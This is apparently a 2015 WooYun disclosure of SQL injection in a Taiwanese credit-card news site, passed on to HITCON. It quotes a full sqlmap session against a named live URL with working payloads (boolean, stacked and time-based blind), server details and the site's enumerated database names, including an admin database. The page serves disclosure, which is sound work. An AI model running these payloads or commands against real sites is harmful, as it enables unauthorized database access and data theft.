当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-096565

漏洞标题：台湾卡優網用卡即時訊息网站存在SQL注入

相关厂商：Hitcon台湾互联网漏洞报告平台

漏洞作者： 路人甲

提交时间：2015-02-12 11:38

修复时间：2015-03-29 11:40

公开时间：2015-03-29 11:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-12： 细节已通知厂商并且等待厂商处理中
2015-02-16： 厂商已经确认，细节仅向厂商公开
2015-02-26： 细节向核心白帽子及相关领域专家公开
2015-03-08： 细节向普通白帽子公开
2015-03-18： 细节向实习白帽子公开
2015-03-29： 细节向公众公开

简要描述：

關於卡優網 ( CardU.com.tw )
卡優網(CardU.com.tw)屬威辰資通股份有限公司所擁有的網站之一，針對消費者之需要，提供信用卡即時訊息、資料搜尋、市場調查及討論等相關之加值服務。
網路媒體儼然成為電視媒體外，第二大公眾媒體，其接觸度及影響度，將不斷隨著使用率的擴增及習慣的養成，成為最受矚目的媒體。卡優網(CardU.com.tw)即是網路媒體之一，結合無遠弗屆的網路、資訊需求、科技運用等，傳遞給使用者更快、更新、更正確的訊息。

详细说明：

么么哒 Hitcon台湾：

QQ截图20150210051617.png


QQ截图20150210051624.png


漏洞证明：

QQ截图20150210051608.png


[root@Hacker~]# Sqlmap Sqlmap -u "http://www.cardu.com.tw/news/detail.php?nt_pk=8&ns_pk=23894" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicabl
[*] starting at 05:09:23
[05:09:23] [INFO] testing connection to the target URL
[05:09:24] [INFO] testing if the target URL is stable. This can take a couple of seconds
[05:09:25] [INFO] target URL is stable
[05:09:25] [INFO] testing if GET parameter 'nt_pk' is dynamic
[05:09:25] [WARNING] GET parameter 'nt_pk' does not appear dynamic
[05:09:26] [WARNING] heuristic (basic) test shows that GET parameter 'nt_pk' might not be injectable
[05:09:26] [INFO] testing for SQL injection on GET parameter 'nt_pk'
[05:09:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:09:26] [WARNING] reflective value(s) found and filtering out
[05:09:27] [INFO] GET parameter 'nt_pk' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="\u5361\u512a\u65b0\u805e\u7d
[05:09:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[05:09:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[05:09:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[05:09:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[05:09:33] [INFO] testing 'MySQL inline queries'
[05:09:33] [INFO] testing 'PostgreSQL inline queries'
[05:09:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[05:09:34] [INFO] testing 'Oracle inline queries'
[05:09:34] [INFO] testing 'SQLite inline queries'
[05:09:34] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:09:34] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[05:10:12] [INFO] GET parameter 'nt_pk' is 'MySQL > 5.0.11 stacked queries' injectable
[05:10:12] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[05:10:23] [INFO] GET parameter 'nt_pk' is 'MySQL > 5.0.11 AND time-based blind' injectable
[05:10:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[05:10:23] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[05:10:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'nt_pk' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[05:10:36] [INFO] testing if GET parameter 'ns_pk' is dynamic
[05:10:36] [INFO] confirming that GET parameter 'ns_pk' is dynamic
[05:10:37] [INFO] GET parameter 'ns_pk' is dynamic
[05:10:37] [INFO] heuristic (basic) test shows that GET parameter 'ns_pk' might be injectable
[05:10:37] [INFO] testing for SQL injection on GET parameter 'ns_pk'
[05:10:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:10:38] [INFO] GET parameter 'ns_pk' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[05:10:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[05:10:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[05:10:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[05:10:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[05:10:39] [INFO] testing 'MySQL inline queries'
[05:10:39] [INFO] testing 'PostgreSQL inline queries'
[05:10:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[05:10:40] [INFO] testing 'Oracle inline queries'
[05:10:40] [INFO] testing 'SQLite inline queries'
[05:10:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:10:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[05:10:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[05:10:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[05:10:51] [INFO] GET parameter 'ns_pk' is 'MySQL > 5.0.11 AND time-based blind' injectable
[05:10:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[05:10:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'ns_pk' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 135 HTTP(s) requests:
---
Place: GET
Parameter: nt_pk
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nt_pk=8 AND 5512=5512&ns_pk=23894
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: nt_pk=8; SELECT SLEEP(5)-- &ns_pk=23894
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: nt_pk=8 AND SLEEP(5)&ns_pk=23894
Place: GET
Parameter: ns_pk
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nt_pk=8&ns_pk=23894 AND 9424=9424
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: nt_pk=8&ns_pk=23894 AND SLEEP(5)
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: nt_pk, type: Unescaped numeric (default)
[1] place: GET, parameter: ns_pk, type: Unescaped numeric
[q] Quit
> 0
[05:11:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0.11
[05:11:45] [INFO] fetching database names
[05:11:45] [INFO] fetching number of databases
[05:11:45] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[05:11:45] [INFO] retrieved: 4
[05:11:47] [INFO] retrieved: information_schema
[05:12:29] [INFO] retrieved: carduadm
[05:12:48] [INFO] retrieved: carduweb
[05:13:08] [INFO] retrieved: phpbb2
available databases [4]:
[*] carduadm
[*] carduweb
[*] information_schema
[*] phpbb2
[05:13:24] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances
[05:13:24] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\www.cardu.com.tw'

修复方案：

null

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-02-16 21:26

厂商回复：

謝謝通報

最新状态：

暂无